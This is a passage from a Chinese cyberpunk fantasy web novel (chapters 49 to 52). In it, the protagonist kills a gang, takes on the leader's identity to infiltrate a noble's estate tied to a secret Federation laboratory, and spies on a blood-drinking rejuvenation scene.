一觉无梦,醒来时天已黑透,淅淅沥沥的雨噼里啪啦打在车窗上。 空中移动的发光灯球播报着:“甜雨天气,请佩戴好雨具出门。” 这个世界怎么天天下雨。 睡眼惺忪打了声哈欠,“到了吗?” 深紫色的车灯从她脸上稍纵即逝,高空疾驰的悬浮车穿梭进钢铁建筑群。 昏暗的夜幕,点缀如梦似幻的霓虹灯,全息投影下的舞蹈明星翩翩起舞,灵活的脚尖轻轻跃起,避开撑伞的行人,热闹的寂寥悄然弥漫开来。 驶过高大巍峨建筑物,旁边亮着霓虹红光字:奥罗拉集团总部。 突然,几辆悬浮车“嗖”地一下从她们车前窜过,贝莉娅猛踩刹车,低声骂了几句。 车驶远,车内一晃而过的褐红色头发人影,身形略微消瘦,有些眼熟。 宋拾抿唇,目送远去的车辆驶进那栋大厦,猛然想起那个令她牙痒的家伙。 汪子尧。 左眼似乎又在隐隐作痛。 没事,总有一天,会还回去的。 她淡漠收回视线。 大雨滂沱,整个联邦市笼罩在一片氤氲湿冷的水汽中,渐渐雨点小了些,轻巧地落在地面,砸起水花。 车越开越偏,直到停在一道偏僻路口的阴影里。 寥寥几盏路灯,飞蛾不停扑扇飞撞,灯下地面是飞虫的黑影。 “到了,定位显示,他就在这里。”贝莉娅道。 宋拾错愕:“谁?” 寂静冷落的夜晚,嘈杂显得格外刺耳。 宋拾贴着窗,顺声望去,只见几个地痞流氓模样的人,正殴打着什么人。 细看,是个栗色长辫姑娘。 其中一个混混地一脚踹在少女腹部,女孩渗血的唇吐出几串痛呼。 “哟,大晚上还敢出来啊?”说罢,挤眉弄眼地朝着一个看起来像是“老大”的人挤挤眼。 “刘哥,临走前不开开荤?” “他是联邦学院学员,屡次违纪,本该被开除的。”贝莉娅点开智环,蓝色数据凝成一个人脸,正是那位“刘哥”。 姓名刘永贵,38岁,一桩桩犯罪记录占满屏幕,小偷小摸,抢劫杀人,一样没少。 “不过还算有些用,联邦底下研究生正好缺实验体……”她意味深长地拖长音,“一个更好的去处,一个光明的未来,没人会不心动吧。” 怎么听起来那么熟悉?宋拾舔了舔干裂的唇瓣。 “天分不高的学员会被退学吗?哦不,联邦给了他们另一个选择,一个充满光明的未来。” “他们会去干什么呢?亲爱的用户,不妨调查去一下,说不定有意外之喜。” 论坛系统的那些话飞速掠过大脑。 她释然一笑。 原来是这么回事。 天分不高、品行低劣的学员不会被退学,他们会去联邦为他们安排好的路,“自愿”成为地下研究所的实验体。 真是恶人自有恶人磨。 等等……似乎还有什么,她蹙眉用力想,贝莉娅喊了她好几声才回过神。 “你在发什么呆啊?杀掉他,替代他,是进入地下研究所最便捷有效的方法,明天一早,你就混进去。” 贝莉娅低头翻了翻,“先等下,我找找,赵柯新研发了一款复制容貌的易容皮……” 话尚未说完,车子陡然一轻,宋拾已经跃下了车。 “哈,有点姿色,还好没打到脸。今晚就赏你陪哥哥一晚上怎么样啊?”刘哥掐住少女的下巴,色眯眯仔细打量,笑得油腻。 混混们起哄吹起流氓哨。 栗发少女狼狈不堪蜷缩在地,长辫被扯得凌乱,她死死攥紧衣服,咬紧下唇,发红的眼眶恶狠狠地瞪过去。 “你们最好赶紧滚,我已经报警了,等安防员来了,你们都逃不掉。” 一阵肆意的嘲笑,和不堪入耳的下流话。 刘哥嗤笑,拍拍她的脸,趾高气扬阴阳怪气:“哎呦呦,知道我是谁吗?联邦学院学生!谁敢抓我?更何况,明天哥就要当大官咯,睡你是给你面,别他妈给脸不要脸!” 骂爽了,他眼底闪过狠意,干脆上手扯少女的长辫。 “啪啪。”突然响起两声干瘪瘪的掌声。 安防员这么快就来了? 众人惊惧看去,却被一阵迷雾遮住视线,本就不大明亮的路口,此刻灰蒙蒙的,什么也看不见。 雾气越来越浓,浓得伸手不见五指,甚至看不见身旁人身影。 “艹,怎么突然起雾了。”刘哥骂道。 很快,他察觉到不对劲。 静,太安静了,安静得反常。 要是平常,那帮小弟怎么着也得附和两句,现在怎么一个二个那么安静。 手也空了,他记得他刚才扯住那女人的头发了啊。 “人呢?怎么不吭声?” 喊了几句,周遭依旧安安静静。 “妈的,怎么不说话?想吓老子?”他皱起眉,“可别让那女人跑了。” “跑不了。”一道阴恻恻的声音在他身后响起。 “一个都跑不掉。” 冰冷的东西贴上他脆弱的脖颈。 “卧槽!闹鬼了!”刘哥的尖叫扼在喉咙里,散在雾里。 雨终是停了,明月剥开乌云,清冷的月光洒在少女身上。 扯头皮的痛几乎让南希痛昏过去,意识再回笼时,路口空空荡荡,那群混混已经消失了。 她茫然地撑地想要坐起身,身子陡然一僵,奇怪,她怎么不疼了。 抬起手臂,那些掐痕淤青竟然消失了。 刚才的痛不可能是幻觉。 难道是……有人帮了她? 黑沉沉的夜,乌云悄无声息地将月遮住,微微的凉风穿过车窗,阵阵吹来。 巨大的全息女神像俯瞰众生,眼底流淌着柔软的慈悲,她的肩膀上,站着一只白鸽,圣洁而美好。 贝莉娅问:“你怎么把他们都杀了?” “嗯,杀顺手了。” 宋拾淡淡答道,她支着下巴,看着窗外花花绿绿的霓虹灯。 她终于想到了。 失踪的学员,校方的隐瞒,久藤市垃圾场上的尸体,玫瑰校徽,一个光明的未来……通通都指向了一个地方——联邦地下研究所。 联邦学院学生的莫名失踪,绝对和这件事脱不了干系。 很好,离五百万又近了一步。 第50章 清晨, 一辆不起眼的大巴车飞驰而过。 车窗外,层叠的云中,淌出一颗咸蛋黄似的太阳, 橙红橙红的。 硬是把宋拾给看饿了。 从被回溯抓到现在, 滴水未沾,又因为行动匆忙,就连她自己都忘了她是人,需要吃饭。 挂耳上的微型通讯器传来贝莉娅的声音:“位置显示,你们离查普斯家越来越近了。 查普曼,墨格拉给她讲过, 正是在小镇废墟中同谅雀对峙的那个男人, 还和哀涅托有些见不得人的勾当。 阴恻恻的家伙,看着就不像好人。 墨格拉说,联邦地下实验室在联邦的总统宫内,守卫森严,没有权限的话, 一只苍蝇也无法进去。 大巴的方向怎么会是查普曼的住所? 这时,旁边有了动静,大概也是“刘哥”的跟班,自宋拾出现,便一直黏着她。 看着年纪不大,也就二十出头的模样。 “哎,刘哥,你怎么看起来那么没精神?不会是……”他对着宋拾露出意味深长的笑容。 “昨晚卡尔可给我发了消息,说你们碰上了一个很正的妞……咦,卡尔怎么没来?” 喝过精神值拓宽后,她学过的所有术法都有了质的飞跃, 自然也包括“复制”。 不只复制了容貌,就连头顶的发旋,皮肤纹路的走向,虹膜都一模一样。 哪怕是再高再精确的仪器,也无法检测出她不是刘永贵。 宋拾却一眼盯上他桌上未拆封的面包。 既然是小弟,就好说。 神色自然地拿过面包,她叹息摇了摇头,“那妞报警了,事没成,昨儿哥几个喝了一夜的酒。至于卡尔,我也不太清楚,酒醒来后也没见到他。” “那家伙现在肯定在家呼呼大睡,等醒来后一切都为时已晚咯!那么大好难得的机会!” 闻言,正撕开面包包装的宋拾手上一顿,眼底闪过讥讽。 大概是“刘哥”脸色太过憔悴,表情太过厌世,小跟班没再说什么。 天朗气清,难得的好天气。 沙漏流逝,大巴车的速度缓缓降下来。 不远处,犹如城堡的宏伟建筑赫然伫立,那是一座漂亮华美的贵族庄园。 花园内玫瑰花海随着风浪摇曳,仆人们在其中来来往往,有端点心的女仆,也有修剪灌木的男仆。 穿着礼服的客人在一座座奶白色的亭中嬉笑玩闹,他们西装裤和繁复蕾丝裙下,是撒满一地的红酒和奶油点心。 复古奶咖色的西式楼塔下,有座喷水池,女神像立在水池中央,怜悯地垂眉低目,肩上站着一只眼窝嵌着红宝石的鸽子。 和夜晚亮起的全息神像如出一辙。 大巴车上的学员们恨不得整张脸贴在车窗上,眼中满是惊羡,嘴张得仿佛能吞下整个鸡蛋。 “天呐!天呐……这简直……”有人甚至半天说不出一句完整的话。 要知道,在这个高科技低生活的社会,如此复古精致的建筑,自然人扈从,穷奢极欲的场景普通人想都不敢想。 “我、我们以后会在这里工作吗?” 宋拾身旁的小跟班约翰,眼一眨不眨,贪婪地看着窗外的场景,满含激动道。 车子开始降落。 “咚——” “咚——” “咚——” 尖塔传来阵阵悠长的钟罄声,大片大片白鸽扇动翅膀,它们如潮,朝着大巴车飞来。 半空,洁白的鸟羽轻飘飘悬落。 “欢迎来到伊甸园。” 一道美妙、圣洁又温柔的嗓音回荡。 怪异的声音像是从大理石雕刻的神像里传来的。 下一秒,庄园里的仆人的行为证实了她这个想法。 无比怪异的场景便这么出现了。 以神像为圆心,他们卑微虔诚地匍匐下去,额头紧贴地面,直到钟声完全消散,他们才起身,神色如常,一如既往地开始忙碌。 不出意外,这个女神雕像就是哀涅托所供奉的神祇了。 宋拾眯起眼睛。 只是……那道女声,仔细听的话,不难听出是人工合成的声音。 赛博人民有自己的赛博神灵。 她努力抑制住上扬的唇角,拼命往下压。 “你们以后的去处可比这里还要好。” 一众学员循声望去,只见车门不知什么时候打开了,门口站着一个斯斯文文的中年男人: 戴着无框眼镜,笑容和煦友善,面庞虽生着不少皱纹,但仍能捕捉到年轻时的英俊。 大巴司机率先站起身,行了个礼:“查普曼大人您怎么来了?” “他就是查普曼?” 窃窃私语的声响,人们歪头低声。 多半是见识到了这泼天的贵气,和对未来美好的希冀,这群品相恶劣的差等生罕见地没有高声喧哗,大吵大闹,生怕惹得这位大人不快。 傻子才会和自己的前途过不去。 “您、您是说真的吗?”跟班约翰壮着胆子,哆嗦着朝查普曼问道。 查普曼笑笑,眉毛扬起,“噢,当然是真的,我向神发誓。” 看来这位大人并没有多虔诚。 宋拾忍不住朝他看了一眼,查普曼敏锐得像头鹰,察觉到目光,猛地锁定目光。 浑浊的眼珠,眼底一片阴鸷,盯着她毛骨悚然,后背发凉。 她立即做出反应,一副浮夸的模样:“噢!噢!比这里还大吗?也有漂亮的女仆吗?” “当然。”查普曼敛起眼皮,颔首。 他话音刚落,那股被盯上的感觉消失了,宋拾这才大口松了一口气。 众人一度飘飘然,比这里还好,那该要有多好啊,他们无法想象。 心情美妙了,连带着对查普曼的好感飙升。 究竟是谁说查普曼大人残暴不仁的?简直就是一派胡言! 正当众人沉溺在美好的幻想中,查普曼拍了拍手: “孩子们,在你们正式上岗前,有些事情,我需要提前告诉你们。” 他温和的目光一转严肃,在他们身上逡巡完,才满意地收回视线,继续说下去。 “因为岗位的特殊性,这一切都需要秘密进行,以防止重要信息泄露,当然,如果你们其中有人无法做到,可以放弃。现在有人想离开吗?” 离开?离开是不可能离开的。 倘若没见识过这些,他们有些人大概还是甘愿当一辈子的混混,可当这么大一个香甜可口的蛋糕摆在眼前时,没人会选择扭身离开。 只是保密而已,又不是要他们死。 “我不走!我要为联邦效忠!”有人情绪激动道,挥舞着拳头,恨不得立马上战场。 都是知根知底的恶人,听到这个伟光正理由,大家忍不住笑出声。 “安静。”查普曼眉峰攒簇,夹杂着不耐烦的语气。 很快,他们安静下来。 “留下的人,请上交全部电子设备,想走的人随时都可以离开。” 说完,从他身后走出两名联邦军,他们身形高大挺拔,单单的往那一站,学员们大气也不敢出,低头不敢对视,蔫得像是弱鸡。 他们提着桶,手上各拿着长条样的仪器。 测到电子仪器,便滴滴答答响。 “果不其然,他们要收设备了。” 宋拾抚过耳朵,微型通讯器里传出贝莉娅的声音。 身为搭档,她自然时刻监听着。 “没事。”宋拾用气音回复,摘掉通讯器,攥在手心。 她还有领域,只要不昏迷,里面什么都能装,放个电子设备自然是轻而易举。 谁知,刚释放一缕精神力,收他们这边的联邦军敏锐地抬起头,突然加快脚步,大步朝她走来。 手中的仪器还未伸来,就滴滴答答响个不停。 他严厉的视线扫过来:“请交出来。” 宋拾可以肯定,他说的是她。 身旁的约翰动作麻溜地将终端丢进桶中。 这次,他的目光牢牢锁住靠窗座的男人,但对方却迟迟没有动静。 约翰都替她急出了汗,手肘怼了怼,“刘哥,快交啊。” 对面联邦军的锋利的目光似凝成实质,要将她戳穿。 宋拾慢悠悠掏了掏裤兜,翻出一个终端来,依依不舍地看了又看,摸了又摸,叹息:“好贵,花了不少星币呢。” “哎呀,哥,以后会有更好的,不差这一个。”约翰又是安慰又是催促。 “刘哥”这才不情不愿地将终端丢进桶中。 但军人并未离开,而是谨慎将仪器在她身上扫了几下。 没有声响。 他微微颔首,抽身离开了。 约翰舒了口气,肩膀松弛下来,低声抱怨:“不就得个终端嘛,又不是什么宝贝,刘哥你至于那么不舍嘛……你也不看看他那个眼神,吓死我了。” 目送对方离开,也没再看这边,宋拾放松不少:“这叫恋旧,你懂不懂?” “懂懂懂,别人是抠搜,刘哥您就是恋旧。” “你小子皮又痒了是吧?”宋拾佯装要打,吓得约翰将头缩了缩。 见约翰对她的行为没感到异样,甚至习以为常,宋拾知道,她演对方向了。 余光中,两位军人敬职敬责检查着。 没想到联邦军也在,整那么费劲,他们究竟要搞什么? 全部检查完,两位联邦军提着桶下了车,查普曼并没有离开,慢条斯理整了整袖口。 “明天你们才正式上岗,今天就住在庄园吧。” 住在这里,看着窗外的精致宏伟,一阵哗然。 “是一人一间房吗?”有人太过兴奋,也顾不上什么谨慎。 “我们可以随便逛吗?” “这里的仆人我们可以使唤吗?” …… 叽叽喳喳,吵闹得像是菜市场,查尔曼维持的笑容僵住了僵,眼底翻滚着浓烈的暴戾。 忍忍,忍忍……还有一天,等明天就好…… 他恢复了和煦的笑容,温和得仿佛春日的微风,体贴又耐心地回复他们所有问题: “当然,你们是客人,当然一人一间……只要不离开庄园,想去哪逛都可以。噢,孩子们,别太兴奋!” 约翰兴奋得脸红彤彤的,高声大喊:“大人,您真是大好人!” 查普曼笑意加深。 大好人?他喜欢这种称赞。 当然也有质疑的声音:“我们是要去什么?什么岗位那么神神秘秘啊。” “咚——”一声巨响,宋拾扭头望去: 一只肥鸽子猛地撞到她身旁的车窗上,缓缓顺着玻璃滑落,留下一道鲜红的痕迹和几根羽毛。 被吓到的约翰揉了揉胳膊,摇头。 “这鸟真傻,怎么还往玻璃上撞呐。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 50-60 第51章 查普曼前脚刚走, 后脚便进来一名带路的仆从。 一车三十多来人,他们推搡,拥挤着,被彼此夹下了车。等人都下的差不多,宋拾才从座位上站起身。 伊甸园里的仆从显然是经过筛选的,不论男女,容貌精致漂亮,身姿优雅,浑然天成,犹如舒展的天鹅。 与此同时, 一些不合时宜的碎语声响起: “有钱人就是不一样, 仆人都挑好看的……谁知道到了夜晚他们会不会爬上主人、客人的床。” 闻言, 约翰忍不住向那群俊男美女的方向瞟,问道:“哎,刘哥,你说他们会不会晚上来我们屋子里……” 说着,他对上一双冰冷的眼眸。 宋拾掀了下眼皮:“闭嘴。” “哦。”约翰只好闭上嘴,心中泛起嘀咕,都是一路货色,装什么装。 似察觉到什么,他向远处抬眸,眼前猛然一亮,声音下意识飘出来:“我靠,刘哥!” 宋拾顺着他手指的方向望去。 一辆低奢的黑车,绸缎似的白色长发荡出车窗,男人狭长的金眸微敛,薄薄的唇张张合合,侧着身,同身旁的人说着什么。 联邦军在这,身为上校,霍尔自然也在,但她心脏还是不免漏了一拍。 宋拾视线一转,霍尔身旁的人被挡得严严实实,看不出个所以然。 约翰压不住激动的声音:“是霍尔上校,只在学院官网首页看见过,没想到能见到真人!” 这让宋拾有些惊讶,她扬起眉毛,朝他看,“你很崇拜他?” “算不上崇拜,只是没想到有生之年能遇见霍尔上校。” “……这样啊。” 宋拾干巴巴说道,她垂着头,跟领路的仆人穿过盛放的玫瑰花海,她的思绪却早已飘到九霄云外。 联邦学院……霍尔…… 等等,霍尔是精神师? 猛然间,后背一凉。 阵阵微凉的风,将沁人的花香送到人鼻尖,玫瑰花瓣上晨露犹如碎星,在阳光下熠熠生辉。 车内,女人单薄的身影匿在阴影中,润泽的眸子透过车窗,落在“刘永贵”的背影上。 她说:“就选他吧。” 霍尔扫过那人的背影,眉峰下意识攒簇,“麻烦大指挥官了。” 大指挥官,正是谅雀,她简单陈述道:“附身期间所受到的任何伤害,都会让精神受损。” 顿了顿,想起什么似的,又补上一句,“术法只能维持26个小时。” “开始吧。” 男人下颌线条优美,轮廓深邃清冽,摄人心魂的金眸微眯,慵懒而淡漠。 这是个很好的机会。 不但能顺势抢夺政权,亦能毁掉于他而言,那个梦魇一般的存在。 儿时的梦魇犹如走不出去的巨大迷宫,兜兜转转,还在原地。 连他都觉得可笑,高高在上的联邦上校,曾经是个孤儿,任人宰割的底层人。 逃离孤儿院,迎接他的不是糖果和蛋糕,而是暗无天日的实验室。 一盆冷水从头泼到脚,美梦醒了。 其实也没遭到哪去,不过是从一个受人欺负的孤儿变成一个浑身插满管子的实验体,只是他想的太过天真。 要做的手术多得数不清,整日昏昏沉沉的,偶尔清醒片刻,也会立刻被发现,麻醉昏死过去。 时间一长,还是通过实验人员的只言片语,猜到他们的目的。 联邦想要让普通人拥有精神力,而他,不过是活人实验体中的一员。 实验最终成功了,他是唯一存活的实验体。 终于,霍尔出来了,被当初接他出来的军官安德烈收养。 毫不意外地成为了联邦学院的第一名,直到那一天—— 他像个疯子,轻而易举地炸掉了整个联邦学院,死伤惨重。 实验室废了九牛二虎之力控制住他,定期注射药剂,封住精神力。 对外宣称,这只是一场恐怖袭击。 后来听说,实验室将活人实验体换成了仿生人。 这份机密,他们让他要烂在肚子里,就连安德烈也不知道。 兜兜转转,他非但没能走出迷宫,还成了别人手下一枚棋子。能不能活下来,就看好不好用。 老头子表面上重用他,实则丝毫没有把实权交给他的念头。既然不给,他就抢。 当家犬当得太久,霍尔甚至忘记了自己是一匹不择手段的野狼。 狼,只会抢。 …… 得到指令,谅雀调整好呼吸,闭上双眸,一缕肉眼看不见的精神触角悄悄探出了头。 瞬息之间,在她眼中,昼夜颠倒,无尽的漆黑之中,精神触角摸索前进,感知“猎物”的方位。 终于,视野里跃出一道明亮的身影。 就是这个人了。 触角猛然扑过去。 “刘哥,这里好大啊,要是能把那个查普曼干掉,这里不都是咱们的了吗?” 约翰咕噜噜转着眼珠,恨不得将眼前的一切都刻进眼睛里。 “你刚不是还夸赞人家大好人吗?” 宋拾一边敷衍,突然顿下了脚步,蹙起眉,嘴上嘟囔着“我鞋带怎么开了”,蹲了下去。 身后的约翰并没在意,更不知道宋拾的鞋没有鞋带,他的注意力全在复古贵气的建筑和漂亮的仆从上。 再一抬头,便与鸽子雕像对视,红艳夺目的红宝石。 他下意识吞咽口水,这该值多少星币啊。 刚才获得的满足感,在此刻变得如此微小,像是一粒微不足道的沙,根本填不满越来越多的空洞。 有人生在罗马,有人生下来就是骡马,那些大人物从牙缝里挤点,就够他们这些骡马满心欢喜许久了。 没关系,这些他以后也会得到的。 陡然,背后一凉。 约翰的目光由呆滞变得锐利。 这时宋拾系好鞋带起身。 即便没有回头,她敏锐察觉到身后人的变化。 在刚才那股精神力扑过来的转瞬间,属于约翰的“气味”消失了。消失得太过干净,像是人间蒸发。 取而代之是一股强势而陌生的气味。 是谁? 对方的精神力绝对在她身上,宋拾很难保证自己不会被发现。 那目光落在她背后,凝成实质般冰冷,她没敢回头,硬着头皮朝前走。 走了有十几分钟,才走到客房旁。 “神会庇佑你们。” 带路地仆从微微欠身,便消失在高大灌木的转角。 倒是巧,约翰的房间就在她隔壁。 不知道是个什么情况,宋拾并不打算和他有任何交流。装作不认识的模样,目不斜视,推门而入,又迅速阖上门。 心脏扑通扑通剧烈而有力地跳动,她的脸色一片惨白,贴着木门,整个身体险些瘫了下。 后背全然被冷汗浸湿,布料紧贴着肌肤,黏腻腻的,恶心又难受。 如果她没有察觉,如果她慢一步……那个被占据身体的可怜鬼就是她了。 那个家伙,原本就是奔着她的。 宋拾低着头,注视着自己的掌心,一股深深的黏稠的无力感包裹她。 还是不够,她还是没办法自保。 井底之蛙跳出井后,天空不再是头顶的一片圆,而是无边无际的浩瀚。 蛙自然是渺小的,要么匍匐在天空下,灰溜溜回到井底,要么……成为天空。 收拾好心情,她谨慎打量了房间,确认没有监控设备,在隔音效果好的卫生间里掏出通讯器。 滋啦几下电流,接通了,贝莉娅甜腻腻的嗓音在电流下有些失真。 “地下实验室不定时开一次,这次不出意外是明天,务必要小心,查普曼的庄园里面警戒拉满了。” 宋拾轻触耳上的通讯器,压低嗓音:“我知道……还有一件事。” “什么?” 通讯器另一段,贝莉娅的眉愈蹙愈紧,听完宋拾的汇报,她舔了舔干裂的唇。 “不知道是哪方的势力……如果你说的真的,真恐怖啊,悄无声息地占据别人的身体。” 说完,她沉吟片刻,“小心点,只要他没妨碍到你,就不要轻易暴露身份。” “好。” 宋拾又抛出了一个自以为的重磅消息,“霍尔好像是精神师。” 自始至终她就忽略了一件事,联邦学院的首页上的白色长发男人不是别人,正是霍尔,而联邦学院只招收精神师。 “曾经是,”到底是贝莉娅,身为回溯探子,她十分称职。 “直到有天联邦学院遭受一场恐怖袭击,霍尔为了保护同学,导致精神力负荷,变成了一个普通人。” “原来如此。” “你碰见他了?”贝莉娅问。 “下大巴后,看见的。”宋拾道,她皱着眉,一个大胆的猜想浮了出来。 约翰那件事,会不会和他有关? 没等她把猜想说出来,贝莉娅翘起嘴唇,轻声:“我也有件事要告诉你。” “什么事?” “这次任务结束,我们一起离开吧,离开回溯。” 宋拾怔愣片刻,一瞬间种种困惑涌上心头。 芙蒂斯的病治好了?西索斯会甘心就这么放她们离开吗? 但那些话涌到嘴边,却怎么也说不出口,最终化为苦涩的一句,“好呀。” 不管是否能兑现,人总归要有个盼头。 “咚咚。”门口响起规律的敲门声。 宋拾掐断通讯,安静两秒,确认是对方是在敲自己房间的门,才出声问:“谁?” “先生,午茶时间。” 第52章 “先生, 午茶时间。” 宋拾拉开门,入目是堆满甜品的餐车。 蓬松的奶香,杏仁香和巧克力混杂的气味, 甜得腻人。都是她没见过的甜品, 也叫不上名字。 女仆端起餐盘,优雅地走进屋内,将下午茶餐点放到桌上,她面带得体的微笑,“祝您用餐愉快。” “谢谢。” “您太客气了。”女仆笑笑,去敲下一扇门。 宋拾正欲转身回屋, 余光却窥见一个熟悉的身影, 她挑起眉。 那人行色匆匆,深色大衣随着她的步伐晃动,隐约透出里面蓝白色的衣服。 好歹是在安防局工作过,宋拾一眼便看出来那是安防员制服。 陶顺安不在多科市,怎么在这? 她环顾了下四周, 悄摸跟了上去。 这时, 隔壁的门拖开,“约翰”目光落在不远处鬼鬼祟祟的人身上。 他诧异地抬了下眉,是她? 按照计划, 他应该附身到她身上的。况且谅雀的实力不言而喻, 几乎不可能失败。 他紧了紧眉头,女仆显然会错了意,微笑道:“先生享用完,可以四处转转。” “放下吧。” 霍尔收回探究的视线。 另一边的宋拾并不知道自己被盯上了。 她既不能跟得太近也不能跟得太远,还要避开仆从和监控,这一路走得格外坎坷。 七拐八拐, 途中不知经过几个欧式花亭,来到一栋仿旧的小洋楼前。 褐漆的大门紧闭,门口站着两名穿西装带墨镜的保镖,凶神恶煞。 陶顺安向他们出示了张牌子,保镖立刻让开路,弯腰请她进去。 看她轻车熟路的模样,显然不是第一次来了。 蹲在灌木下的宋拾动了动蹲麻的腿,要不要进去? 虽然她知道现在最好是待在屋里,不要惹是生非,但陶顺安实在让她好奇。 “啪嗒。” 一丝冰凉落到她鼻尖。 下雨了? 宋拾伸手,冰冷的雨水砸在她指腹上,这时庄园上空回荡广播: “甜雨天气,请做好防护。” “……”她火速缩回手。 耳上未摘的通讯器陡然“滋啦”一声,传来的却不是贝莉娅的声音。 “宋拾。” 一道机械女声。 宋拾惊愕愣了下,随即“嗯”了声回应。 她知道那个智者查岗查的严,墨格拉只能偶尔冒个头。 “楼右后方有棵大树遮挡,是监控盲区,可以爬上去。” 看来,已经有人替她做了决定。 “知道了。” 她弓着腰,躲着监控绕到小洋楼右后方,果不其然矗立着一棵翠绿大树,树根横亘地面。 利落地攀登爬上树,视野的变化,她找到二楼的一扇窗,瞄准位置,纵身一跃。 繁茂的绿叶层层叠叠,一阵风吹过,带起一片沙沙响。 随即,闷雷阵阵,天空一下子暗了下来,如同黑夜,雨珠漫天飞舞,噼里啪啦像豆子般砸在地面。 天边,几只飞的慢的白鸽渐渐透明。 “咦,窗户怎么开了。” 女仆自言自语,上前关上两边的玻璃,“啪嗒嗒”的雨砸在玻璃上,颇有破窗而入之势。 “哎呀。” 她突然惊叫,手指摸上窗边,湿润润的泥土。 “又是那只该死的猫。” 嘴上骂着,也只能拿出抹布仔仔细细擦拭,直到干净得反光。 女仆离开后,一双来不及清理,沾着些土的鞋子踏出。 “这栋楼没有监控,我的眼睛看不到,你小心点。”墨格拉的声音随着电流淌进耳蜗。 宋拾眯眼打量四周。 昏暗中,全铜吊灯悬挂在天花板,泛着淡淡的冷意,带有复古繁复花纹的地毯从楼梯顶一路铺下。 这里很安静,安静得她能听见自己的心跳声,以及头顶一些细微的谈话声。 在三楼。 她抚过楼梯扶手上凹凸不平的花纹,缓缓上楼的同时身体透明直至消失。 一步步踩上嘎吱嘎吱作响的楼梯,谈话声响越来越清晰…… “你说天使三十三号没了?!” 杯子“嘭”地摔在地板上,男人咬牙切齿地低吼。 迸飞的玻璃碎片划破女人的脸颊,鲜红的血液还未渗出,伤口瞬间愈合。 陶顺安脸色惨白,手指攥紧衣角,唇瓣嗫嚅:“被……被偷走了……圣子也失踪了……” 她心一横,索性一口气说出来。 “永生实验室被炸了,连一滴圣水也没留下来。” “那你知道是谁炸的吗?” “我、我的权限不够,那边什么也没有透露。” 查普曼冷冷笑出声,犹如看着一个死人。 “还是这么废物啊,这么多年,一点长进也没有。” 话锋一转,“顾念呢,她招了没有?” 他冷哼一声,倚靠着藤椅,闭上眼睛,手指缓慢地叩响扶手,“要是能知道那个三十三号是个什么东西,咱们就能完全摆脱哀涅托了。” 顾念身为伊索纳德号的亲历者之一,绝对知道真相。 “这……” 女人吞咽了下口水,“顾念的嘴比鸭子还硬,怎么严刑逼供都不说……要是怕死还好,可她就是个疯子!” “够了。” 查普曼剪断她的话,语气却别样的温和。 他掀开眼皮,浑浊的眼珠盯住她,那目光像一只被踩碎的黏腻臭虫,擦不干净又让人汗毛耸立。 “我的孩子,这样可不行,即便你拥有长生,但一个废物,不值得让我继续培养下去……” 是的,她不会死,可查普曼有的是折磨人的手段,落在他手里的人,比死了还要痛苦。 想到这里,陶顺安喉咙一紧,腿软险些瘫在地上,踉跄上前半步,“不……大人,还有我的血。” 她从大衣兜里掏出一把匕首,狠狠地割破纤细的手腕,鲜红的血液争先恐后冒出,滴答答落在地板上。 “效果虽然不如圣水,可是服用后没有任何副作用。” 陶顺安亮出手腕,证明自己的价值,可伤口却迅速愈合,留下一道浅粉色的痕迹。 但这也足以令上位者愉悦。 “过来点孩子,别浪费了。” 镜片下查普曼的眼白爬满红血丝,他有些急不可耐,却又端着上层人骄傲的矜持,喘着粗气,露出些狰狞的笑意。 陶顺安像个提拉木偶,僵硬地走向他。 “再近些……来,快到我跟旁,噢,好孩子。” 终于,那沾着血液的手腕近在咫尺,查普曼一把攥住,急不可耐地用牙齿咬上那道浅浅的印。 他亢奋地脖颈又粗又红,犹如食人的野兽舔舐渗出的血液。 仔细看,他眼尾的皱纹逐渐淡去,头发的颜色变深—— 仿佛年轻了几岁。 好恶心。 “咔嚓”木桌上的花瓶陡然摔到地上,新鲜的花瓣四分五裂。 瞬间,查普曼警惕看过去,“谁?!” 咚咚咚—— 未看到人影,脚步声跑出门口一路下了楼梯。 好恶心好恶心。 宋拾边跑,脑海中挥之不去刚才的画面。 “快追,肯定没跑远!” 一阵嘈杂,老旧的台阶咯吱咯吱作响,洋楼里的女仆们动身了。 她咬住下唇,聚精会神释放精神力,勾勒描绘目的地的场景。 蓝色的“虫洞”近在眼前。 嘟—— 嘟—— 刺痛耳膜的警报声响彻伊甸园。 宋拾没有任何犹豫,踏入“虫洞”,另一端的房间,她的身体完全踏出蓝洞,随即能量消散。 桌上摆着未动的甜品,精致的瓷杯里的咖啡已经彻底凉透。 门外嘈杂凌乱,庄园的守卫者四处搜寻,势必要揪出不速之客。 若是说怀疑的重点对象,毫无疑问,就是他们这些品行低劣的联邦学员,用不了多久就会有人找上门。 她必须要速战速决。 “咚咚。”冷不丁地有人敲响了门。 比预想的要快。 “咚咚。” “有人吗?” 因紧张心脏剧烈跳动,宋拾深深吸了几口气,稳住心神,困惑扬起声音:“谁?” 门外传来女仆的声音,口气带着严肃,“庄园里进了恐怖分子,为了您的安全,麻烦开一下门。” “当然!但是女士,我正在洗澡,麻烦等一下。” 说话间,她把通讯器塞回领域,跑到卫生间换上仆人提前备好的干净衣服。 门外女仆不依不饶:“请您立刻开门,不然我们就要采取一些粗鲁的手段了。” “马上就好!” 宋拾咬着唇,将花洒打开,简单打湿头发后,调到最高温,浴室瞬间充盈着暖烘烘的水雾。 还差最后一步,她的脏衣服脏鞋……上面沾了不少泥土碎叶,不管藏哪都会被翻出来。 “先生,我数到三,如果你还不开门,后果不会是你想要的。” 噗通噗通,这一刻,她只能听见心跳声。 “三。” 宋拾无比后悔,当初为什么没有学个清洁的术法……等等,也不是没有。 “二。” 伽蓝传送的术法中,好像有个清洁术。 “一……” 门开了。 热腾腾的水汽扑面而来,“男人”的头发湿漉漉的,水珠滚入衣领,打湿布料。 她眨了眨眼,满脸惊愕地看着怼到眼前的枪口,张了张嘴,像是恐惧得说不出话。 女仆长举着枪,对身后的安保人员示意地勾勾手,随后她们鱼贯而入。 “女士,我保证房间里没有人。”宋拾一脸无辜,举起手。 女仆长冷漠地扯了下嘴角,“有没有碰见什么奇怪的人?” “奇怪的人?”宋拾一副苦想的模样,沉吟半天才道,“花亭那些家伙算不算,他们把蛋糕踩在脚下,撕扯彼此的衣服。” 女仆长深深吸气,“……我没时间和您耍嘴皮,也劝你不要耍什么心眼。” 她紧紧盯着她,生怕错过任何表情。 “有没有出去过?” 宋拾大气不喘:“没有,我一直待在屋子里。” 这时,凌乱的脚步声靠近,几位安保员检查完毕,走出来,说:“一切正常。” 